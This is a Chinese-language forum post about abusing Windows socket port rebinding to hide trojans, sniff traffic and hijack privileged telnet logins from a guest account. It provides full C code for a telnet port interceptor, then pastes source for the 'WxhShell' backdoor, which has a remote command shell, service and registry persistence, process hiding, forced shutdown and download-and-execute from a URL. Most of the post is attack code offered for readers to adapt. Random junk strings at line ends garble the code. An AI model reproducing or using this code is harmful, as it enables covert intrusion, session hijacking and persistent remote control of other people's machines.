社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19527阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u:#+R_0#97  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;v%Fw!b032  
HnU; N S3J  
  saddr.sin_family = AF_INET; (3 xCW  
;mH O#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G?D7R/0)  
l",JN.w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *6D0>F  
C-!!1-Eq?:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J60XUxf  
a9S0glbwf  
  这意味着什么?意味着可以进行如下的攻击: :{@&5KQ8)  
&|>CW:)&1"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .%)FK#s-  
;Q"xXT`;:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2@K D '^(  
_h|rH   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *ue- x!"c  
d,kh6'g2@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b|mWEB.p  
A;~lG3j4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xVk|6vA7  
GPBp.$q+B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?m.WqNBH7  
S9/oBxGN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~\_aT2j0  
cojtQ D6  
  #include (T;4'c  
  #include 9gP-//L@  
  #include +>3XJlZV  
  #include    '.Iz*%"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k"_i7  
  int main() :lj1[q:Y>  
  { :pj 00  
  WORD wVersionRequested; I&JVY8'  
  DWORD ret; Cm@e^l!  
  WSADATA wsaData; DM {r<?V  
  BOOL val; sf{rs*bgp  
  SOCKADDR_IN saddr; ~ [L4,q  
  SOCKADDR_IN scaddr; l&3f<e  
  int err; `x=W)o }  
  SOCKET s; zbQ-l1E  
  SOCKET sc; h^_Sd"l3  
  int caddsize; 2R9AYI  
  HANDLE mt; 533n z8&9@  
  DWORD tid;   ~uqpF-.  
  wVersionRequested = MAKEWORD( 2, 2 ); WAr;g?Q8  
  err = WSAStartup( wVersionRequested, &wsaData ); 69#mj*p@+  
  if ( err != 0 ) { mS?.xu  
  printf("error!WSAStartup failed!\n"); K@av32{  
  return -1; h| q!Qsnj'  
  } w`_cmI  
  saddr.sin_family = AF_INET; ffMh2   
   v4M1uJ8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =eG?O7z&  
DmDsn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HJ4T! `'d  
  saddr.sin_port = htons(23); ^s*j<fH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) anDwv }  
  { 7{<:g!  
  printf("error!socket failed!\n"); #E35%7*  
  return -1; .m--# r  
  } \@G 7Kk*l  
  val = TRUE; X!=E1TL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _dQVundH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mocR_3=Q?  
  { CjtBQ5  
  printf("error!setsockopt failed!\n"); S$9>9!1>*  
  return -1; SN w3xO!;&  
  } W(jXOgs+_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G@s]HJ:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j7LuN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LxD >eA  
\:>GF-Z(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `qP <S  
  { Bw5zh1ALC;  
  ret=GetLastError(); h)S223[  
  printf("error!bind failed!\n"); [C1 .*Q+l  
  return -1; 50MdZ;R-3  
  } &f12Q&jY7  
  listen(s,2); w-f[h  
  while(1) M0Eq 7:Ba  
  { -M]NdgI  
  caddsize = sizeof(scaddr); \#1*r'V8  
  //接受连接请求 ]/byz_7]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >`\f,yq l6  
  if(sc!=INVALID_SOCKET) f P|rD[  
  { F_28q15~:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CM$q{;y  
  if(mt==NULL) 5Q_ T=TL  
  { QGv$~A[h  
  printf("Thread Creat Failed!\n"); h7],/? s  
  break; .KzGb4U  
  } rHS;wT  
  } =E{e|(1+u  
  CloseHandle(mt); >lyX";X#  
  } 05$;7xnf(  
  closesocket(s); W lD cKY  
  WSACleanup(); sZ~q|}D-  
  return 0; LW+a-i  
  }   um/2.Sn>  
  DWORD WINAPI ClientThread(LPVOID lpParam) $U3|.4  
  { SZ/}2_;  
  SOCKET ss = (SOCKET)lpParam; Xr?(w(3  
  SOCKET sc; 2oY.MQD7iW  
  unsigned char buf[4096]; U[l7n3Y=  
  SOCKADDR_IN saddr; PwF 1Pr`r  
  long num; >F@qFP N]  
  DWORD val; 4 h}03 oG  
  DWORD ret; W6N3u7mrb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \BIa:}9O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +w'"N  
  saddr.sin_family = AF_INET; x#wkODLqi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m8Wv46%  
  saddr.sin_port = htons(23); ~|W0+&):  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , 7` /D  
  { cJ CKxj  
  printf("error!socket failed!\n"); +ZuT\P&kR5  
  return -1; I+qg'mo  
  } qG=?+em  
  val = 100; 977%9z<h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +Ce[OG.  
  { 96L-bBtyY  
  ret = GetLastError(); 1|]IWX|  
  return -1; to}g4  
  } Dt1v`T~=?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nC-=CMWWr  
  { G9`;Z^<L  
  ret = GetLastError(); i5f8}`w  
  return -1; $P=B66t ^  
  } CV9o,rL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J%8M+!`F  
  { v|\<N!g  
  printf("error!socket connect failed!\n"); yH\3*#+  
  closesocket(sc); B =EI&+F+  
  closesocket(ss); |rjHH<  
  return -1; rV yw1D  
  } _J|TCm  
  while(1)  [#+yL  
  { QNH-b9u>8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nRP|Qt7>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 & XS2q0-x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NNKI+!vg  
  num = recv(ss,buf,4096,0); Z&f@)j  
  if(num>0) )K=%s%3h<  
  send(sc,buf,num,0); 3K8#,TK3  
  else if(num==0) -?jI{].:8  
  break; @W4tnM,#  
  num = recv(sc,buf,4096,0); .G ^-. p  
  if(num>0) HDmjt+3&n  
  send(ss,buf,num,0); {}sF ?wZf  
  else if(num==0) gD13(G98  
  break; <7U\@si4  
  } 2)iwAu   
  closesocket(ss); + ESEAi91  
  closesocket(sc); M2pe*z  
  return 0 ; >9WJa5{  
  } SG5GJCkc  
[`F}<L."  
S]}hh,A  
========================================================== 5%qq#;[ n  
 X.q,  
下边附上一个代码,,WXhSHELL 9.:]eL  
&dH[lB  
========================================================== 5Kadh2nz  
Aof)WKo  
#include "stdafx.h" R6(sWN-  
nrhzNW>]  
#include <stdio.h> |S0w>VH>  
#include <string.h> \?$`dA[  
#include <windows.h> ;\N )RZ  
#include <winsock2.h> (6y[,lYH  
#include <winsvc.h> uW%(ySbq  
#include <urlmon.h> &["s/!O1R  
}?\8%hK"a7  
#pragma comment (lib, "Ws2_32.lib") t!=qt*  
#pragma comment (lib, "urlmon.lib") ab}Kt($  
6`c5\G+  
#define MAX_USER   100 // 最大客户端连接数 kFRl+,bi~  
#define BUF_SOCK   200 // sock buffer yt5 Sy  
#define KEY_BUFF   255 // 输入 buffer *?JNh;  
1Fg*--8[r  
#define REBOOT     0   // 重启 A^2n i=b  
#define SHUTDOWN   1   // 关机 |;(95  
P&>!B,f  
#define DEF_PORT   5000 // 监听端口 q&DM*!Jq  
~nVO%IxM4J  
#define REG_LEN     16   // 注册表键长度 azs lNL  
#define SVC_LEN     80   // NT服务名长度 a-cLy*W,~  
Lhts4D/V7  
// 从dll定义API rIh"MQvi[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &H4Y`xV^=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qm"&=<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hf JeVT-/v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +HXR ))X  
8 t)?$j$  
// wxhshell配置信息 @TQzF-%#7  
struct WSCFG { o]@Mg5(8Q  
  int ws_port;         // 监听端口 5LX%S.CW  
  char ws_passstr[REG_LEN]; // 口令 !y$:}W?_  
  int ws_autoins;       // 安装标记, 1=yes 0=no *=2sXH1j  
  char ws_regname[REG_LEN]; // 注册表键名 Uh w:XV@m  
  char ws_svcname[REG_LEN]; // 服务名 f`gs/R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qk{+Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /q^\g4J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m8T< x>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JK/gq}c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9n#lDL O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9cnLf#  
yrF"`/zv6|  
}; SSAf<44e  
LmZ"_  
// default Wxhshell configuration Y'{F^VxA/  
struct WSCFG wscfg={DEF_PORT, W"v"mjYud  
    "xuhuanlingzhe", ^. p d'  
    1, +_T`tmQ  
    "Wxhshell", W>o>Y$H  
    "Wxhshell", W{i s2s  
            "WxhShell Service", O a%ZlEUF  
    "Wrsky Windows CmdShell Service", 8Y,imj\(v  
    "Please Input Your Password: ", xU!eT'Y  
  1, \C}_l+nY  
  "http://www.wrsky.com/wxhshell.exe", mm:g9j  
  "Wxhshell.exe" ;ztt*py  
    }; W^k|*Y|  
*}P=7TuS  
// 消息定义模块 l+UUv]:1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T&q0TBT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \3WQ<t)W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wb%t6N?  
char *msg_ws_ext="\n\rExit."; V{{Xz:   
char *msg_ws_end="\n\rQuit."; Pm/Rc  
char *msg_ws_boot="\n\rReboot..."; ,+>JQ82  
char *msg_ws_poff="\n\rShutdown..."; cuoZ:Wh  
char *msg_ws_down="\n\rSave to "; 6ec#3~ Y]  
>]}c,4D(  
char *msg_ws_err="\n\rErr!"; 1PUeU+  
char *msg_ws_ok="\n\rOK!"; EY^+ N>  
1=Z, #r  
char ExeFile[MAX_PATH]; rizWaw5E!8  
int nUser = 0; Rn_FYP  
HANDLE handles[MAX_USER]; BW x=Q  
int OsIsNt; 6%B)  
):-Ub4A\  
SERVICE_STATUS       serviceStatus; _'0C70  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NZL$#bRB  
pGdFeEkB/  
// 函数声明 "qdEu KI  
int Install(void); %F}i2!\<L  
int Uninstall(void); I/hq8v~S  
int DownloadFile(char *sURL, SOCKET wsh); !zQbF&>  
int Boot(int flag); fZgEJsr  
void HideProc(void); L}\ oFjVju  
int GetOsVer(void); ' 4.T1i,  
int Wxhshell(SOCKET wsl); f 0r?cZ  
void TalkWithClient(void *cs); ?p'DgL{  
int CmdShell(SOCKET sock); w(oi6kg  
int StartFromService(void); })y B2Q0  
int StartWxhshell(LPSTR lpCmdLine); U}R (  
V0G"Z6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +GvPJI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x(+H1D\W   
XI\P#"  
// 数据结构和表定义 >e^^YR^  
SERVICE_TABLE_ENTRY DispatchTable[] = 'w8p[h (,  
{ OsV'&@+G>  
{wscfg.ws_svcname, NTServiceMain}, Y[rRz6.*(  
{NULL, NULL} f;=<$Y>i  
}; s4[PwD  
A&S n^mw  
// 自我安装 ;J,`v5z0:  
int Install(void) 7V2xg h!W  
{ ez14f$cJ+  
  char svExeFile[MAX_PATH]; mMw--Gc?  
  HKEY key; ECk* H  
  strcpy(svExeFile,ExeFile); #Dp]S, e  
[.'9Sw  
// 如果是win9x系统,修改注册表设为自启动 J3XrlSc  
if(!OsIsNt) { Tn"^`\m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VZ$^:.I0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |c[= V?AC  
  RegCloseKey(key); )?{jD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -BC`p 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N}ZBtkR  
  RegCloseKey(key); T h!;zu^t  
  return 0; _P9*78  
    } <!q_C5>XJ  
  } oV'G67W  
} 57Bxx__S4`  
else { JqV}>"WMV  
fb8)jd'~}O  
// 如果是NT以上系统,安装为系统服务 Om(Ir&0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ez / W$U  
if (schSCManager!=0) MNf^ml[  
{ 8 .t3`FGH  
  SC_HANDLE schService = CreateService %J8uVD.2  
  ( <~zPt&C]V  
  schSCManager, :n,x?bM  
  wscfg.ws_svcname, ?|Ey WAL  
  wscfg.ws_svcdisp, v Q51-.g  
  SERVICE_ALL_ACCESS, BB imP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #~ZaN;u  
  SERVICE_AUTO_START, s+E: 7T9P  
  SERVICE_ERROR_NORMAL, bT MgE Y  
  svExeFile, ?&-$Zog  
  NULL, LSrKi$   
  NULL, { u3giB  
  NULL, \U>|^$4 #5  
  NULL, G_`Ae%'h  
  NULL ^B!()39R?  
  ); _+OCI%=:  
  if (schService!=0) jJD*s/o  
  { iu.Jp92  
  CloseServiceHandle(schService); 7/K L<T9@  
  CloseServiceHandle(schSCManager); X0knM}5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LKBh{X0%(  
  strcat(svExeFile,wscfg.ws_svcname); /vI"v 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k8b5~A,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0ev='v8?  
  RegCloseKey(key); <;*w97n  
  return 0; u6Yp ,!+  
    } TN/y4(j  
  } aVZ/e^kk-  
  CloseServiceHandle(schSCManager); _p'u!.a?!  
} X>%li$9J.  
} (>uA(#Z  
*i {e$Zv'  
return 1; e>x+Xj1  
} 3oV2Ek<d  
3+&k{UZjt  
// 自我卸载 yO` |X  
int Uninstall(void) >T)tAZ?WK  
{ s Fx0  
  HKEY key; V  n+a-v  
( 7ujJ}#,  
if(!OsIsNt) { qJE_4/<^!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  niyI$OC  
  RegDeleteValue(key,wscfg.ws_regname); Za]~[F  
  RegCloseKey(key); tn;{r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /VD[:sU7  
  RegDeleteValue(key,wscfg.ws_regname); UrO& K]Z  
  RegCloseKey(key); mqbCa6>_S  
  return 0; |I;]fH,+  
  } r>gf&/Pl  
} ]c M8TT  
} juI)Do2_  
else { 5Z:T9F4  
N'CW Sf.e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DOOF--ua  
if (schSCManager!=0) tRo` @eEX  
{ KquuM ]5S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .Rt~d^D@  
  if (schService!=0) ix"BLn]YZ  
  { w '9!%mr  
  if(DeleteService(schService)!=0) { 7\N }QP0"u  
  CloseServiceHandle(schService); 7K1_$vd  
  CloseServiceHandle(schSCManager); Pif-uhOk%  
  return 0; %rV|{@J `  
  } i-9W8A  
  CloseServiceHandle(schService); +BDW1%  
  } $)$_}^.k  
  CloseServiceHandle(schSCManager); % K,cGgp^)  
} 2Bi?^kQ#  
} @?RaU4e  
u@tH6k*cBz  
return 1; -hq^';,  
} 7yjun|Lt}X  
I>q!co9n  
// 从指定url下载文件 H^dw=kS  
int DownloadFile(char *sURL, SOCKET wsh)  tN.$4+  
{ hiv {A9a?  
  HRESULT hr; _2{2Xb  
char seps[]= "/"; gjx-tp 1.  
char *token; ]^8CtgC  
char *file; {-Gh 62hDg  
char myURL[MAX_PATH]; &DjA?0`J  
char myFILE[MAX_PATH]; x3sX=jIW_  
,f@j4*)  
strcpy(myURL,sURL); lI~8[[$xd  
  token=strtok(myURL,seps); V5p^]To!  
  while(token!=NULL) K{,'%|  
  { Vl3-cW@p  
    file=token; z]KJ4  
  token=strtok(NULL,seps); X"9N<)C  
  } ~dzD7lG6  
#U4 f9.FY*  
GetCurrentDirectory(MAX_PATH,myFILE); N3zZ>#{  
strcat(myFILE, "\\"); )!U@:x\K  
strcat(myFILE, file); =[zP  
  send(wsh,myFILE,strlen(myFILE),0); =l:k($%%  
send(wsh,"...",3,0); maa$kg8U*!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KoA+Vv9  
  if(hr==S_OK) 7w]3D  
return 0; N|%r5%  
else =k,?+h~  
return 1; X,Rl&K\b"  
,N;2"$+E  
} dkY JO!  
j5og}P q:  
// 系统电源模块 JH u>\{8V  
int Boot(int flag) _s<s14+od  
{ a4 7e  
  HANDLE hToken; n 83Dt*O  
  TOKEN_PRIVILEGES tkp; %YbL%i|U  
a5aHv/W#P  
  if(OsIsNt) { 3t9CN )*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cucmn*o?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V7`vLs-  
    tkp.PrivilegeCount = 1; sAPQbTSM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P#Whh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;<mcvm  
if(flag==REBOOT) { Mlr'h}:H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j9yOkaVEg  
  return 0; |i~-,:/-Y  
} LwTdmR  
else { /n6ZN4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oRJ!TAbD  
  return 0; UG_ PrZd  
} h?$J;xn  
  } E 0l&d  
  else { x^ `IZ{!  
if(flag==REBOOT) { X @pm!c#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ExN $J  
  return 0; t: oQHhO?  
} Ujlbcv6+  
else { 9HPmJ`b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "q1S.3V;  
  return 0; @t@B(1T  
} 8)1=5 n  
} wt;`_}g  
pQ!lY  
return 1; Q2)(tB= )  
} s diWQv  
_sZ&=-FR  
// win9x进程隐藏模块 w\UAKN60  
void HideProc(void) =,C]d~  
{ ` AD}6O+x  
edCVIY'1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %IE;'aa }  
  if ( hKernel != NULL ) B2*7H  
  { Ke3~o"IQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ihr[44#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |z"$^|@d?  
    FreeLibrary(hKernel); [b&V^41W  
  } 4mKH |\g  
SSTn |  
return; *M*WjEOA  
} xWqV~NnE  
l'M/et{:  
// 获取操作系统版本 Aqz $WTHW+  
int GetOsVer(void) AAW] Y#UwW  
{ Xit@.:a;  
  OSVERSIONINFO winfo; y\(xYB>T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @GGQ13Cj(  
  GetVersionEx(&winfo); n%G[Y^^,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G@Sqg  
  return 1; Z!Z{Gm3  
  else a(*"r:/lD  
  return 0; )f8;ze  
} &j ; 91wEn  
7E#h(bt j  
// 客户端句柄模块 ixK9/5T  
int Wxhshell(SOCKET wsl) Dgc6rv#  
{ F|y0q:U  
  SOCKET wsh; 'Z=_zG/RX  
  struct sockaddr_in client; vM]5IHqeE  
  DWORD myID; 0%%y9;o  
JiO8 EIM  
  while(nUser<MAX_USER) -q[x"Ha%  
{ mxBx?xM-  
  int nSize=sizeof(client); O!hp=`B,jf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sZxTsUW  
  if(wsh==INVALID_SOCKET) return 1; \IYv9ScAx  
Vgkj4EE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N6p0`  
if(handles[nUser]==0) )V+/@4  
  closesocket(wsh); I<,~>'cq.  
else {T,}]oX  
  nUser++; US^%pd  
  } 3-6MGL9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [` }w7  
PFx.uqp  
  return 0; f Ayh9  
} iOCs% J  
`QRXQ c  
// 关闭 socket auX(d -m  
void CloseIt(SOCKET wsh) bA2[=6  
{ PhV/WjCZ  
closesocket(wsh); X8}\m%gCU  
nUser--; *GY8#Az  
ExitThread(0); 2TQZu3$c  
} %X^qWKix}m  
oR!h eCnu  
// 客户端请求句柄 lq]8zm<\)]  
void TalkWithClient(void *cs) rZ5xQ#IA  
{ =8TBkxG  
;I80<SZ  
  SOCKET wsh=(SOCKET)cs; J>G'H)  
  char pwd[SVC_LEN]; fv+d3s?h  
  char cmd[KEY_BUFF]; ,UC|[-J  
char chr[1]; m\CU,9;;(  
int i,j; 6R8>w,  
:;hX$Qz  
  while (nUser < MAX_USER) { 1Z;cb0:  
f x4#R(N  
if(wscfg.ws_passstr) { g:xg ~H2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $%!06w#u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <n2'm  
  //ZeroMemory(pwd,KEY_BUFF);  b{)kup  
      i=0; qmGHuQVe  
  while(i<SVC_LEN) { AS:k&t  
. XbDb  
  // 设置超时 8.^`~ta  
  fd_set FdRead; N?#L{Yt  
  struct timeval TimeOut; Zn40NKYc  
  FD_ZERO(&FdRead); t2.jg?`k  
  FD_SET(wsh,&FdRead); X(17ESQ/Y  
  TimeOut.tv_sec=8; mA%}ijR6y  
  TimeOut.tv_usec=0; ,' t&L]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d8R|0RZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #*lDKn[vO  
q[W@.[2y)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d2US~.;>l  
  pwd=chr[0]; 7QZy d-  
  if(chr[0]==0xd || chr[0]==0xa) { xXI WEZA  
  pwd=0; 5 8L@:>"  
  break; |; mET  
  } &e3}Vop  
  i++; yw%E S  
    } L0H^S)g  
'/Vm[L$d  
  // 如果是非法用户,关闭 socket ;"e55|d9I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b"}ya/  
} O'^AbO=,  
Oml3=TV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [T)>RF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Wx9a"H^(  
`mYp?N jR_  
while(1) { LkK[,Qj  
4T"L#o1  
  ZeroMemory(cmd,KEY_BUFF); r8N)]Hs ZH  
"?<`]WG\  
      // 自动支持客户端 telnet标准   w 8cnSO  
  j=0; X}h}3+V  
  while(j<KEY_BUFF) { fpjFO&ML  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |F'eT 4  
  cmd[j]=chr[0]; e.(d?/!F_  
  if(chr[0]==0xa || chr[0]==0xd) { ygm6(+  
  cmd[j]=0; n}1hmAh Z  
  break; %iYro8g!,  
  } +!`$(  
  j++; Ln+ k_  
    } *!Gb_!98  
;[g~h |{6  
  // 下载文件 A,4} $-7  
  if(strstr(cmd,"http://")) { 4\ )WMP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MIZ!+[At  
  if(DownloadFile(cmd,wsh)) [xGL0Z%)t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ yF Wvfh4  
  else :x3DuQP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qT4`3nH:  
  } n[v`F  
  else { JlE+CAny  
FOPmvlA\-<  
    switch(cmd[0]) { H.l WHM+H4  
  Po\+zZjo  
  // 帮助 8(A k  
  case '?': { w)YTHY (k;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &?y|Pn  
    break; |\"%Dy[m  
  } i*09m^r  
  // 安装 \Km+>G  
  case 'i': { 7<2?NLE8*  
    if(Install()) eCg|@d%D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lD _iIe~c  
    else l#w0-n%S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ogdAJw6 9  
    break; *l0i}"T^_  
    } GIR12%-EO  
  // 卸载 1.~^QH\p?3  
  case 'r': { .>y3`,0h  
    if(Uninstall()) +_f813$C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Bv%dy[I  
    else jlUT9Zp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s <$*A;t  
    break; qe0ZM-C_  
    } '=(yh{W  
  // 显示 wxhshell 所在路径 b+CvA(*  
  case 'p': { gKPqU@$*  
    char svExeFile[MAX_PATH]; Zyz)`>cB  
    strcpy(svExeFile,"\n\r"); iq 8Hq)I]  
      strcat(svExeFile,ExeFile); *s2 C+@ef  
        send(wsh,svExeFile,strlen(svExeFile),0); 3zM>2)T-  
    break; /wHfc[b>  
    } ZQ_~ L!ot  
  // 重启 dGR #l)  
  case 'b': { IY(;:#l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (51;cj>J  
    if(Boot(REBOOT)) IUh)g1u41O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n.P $E  
    else { Ye  >+  
    closesocket(wsh); )$2h:dw_  
    ExitThread(0); g%4=T~  
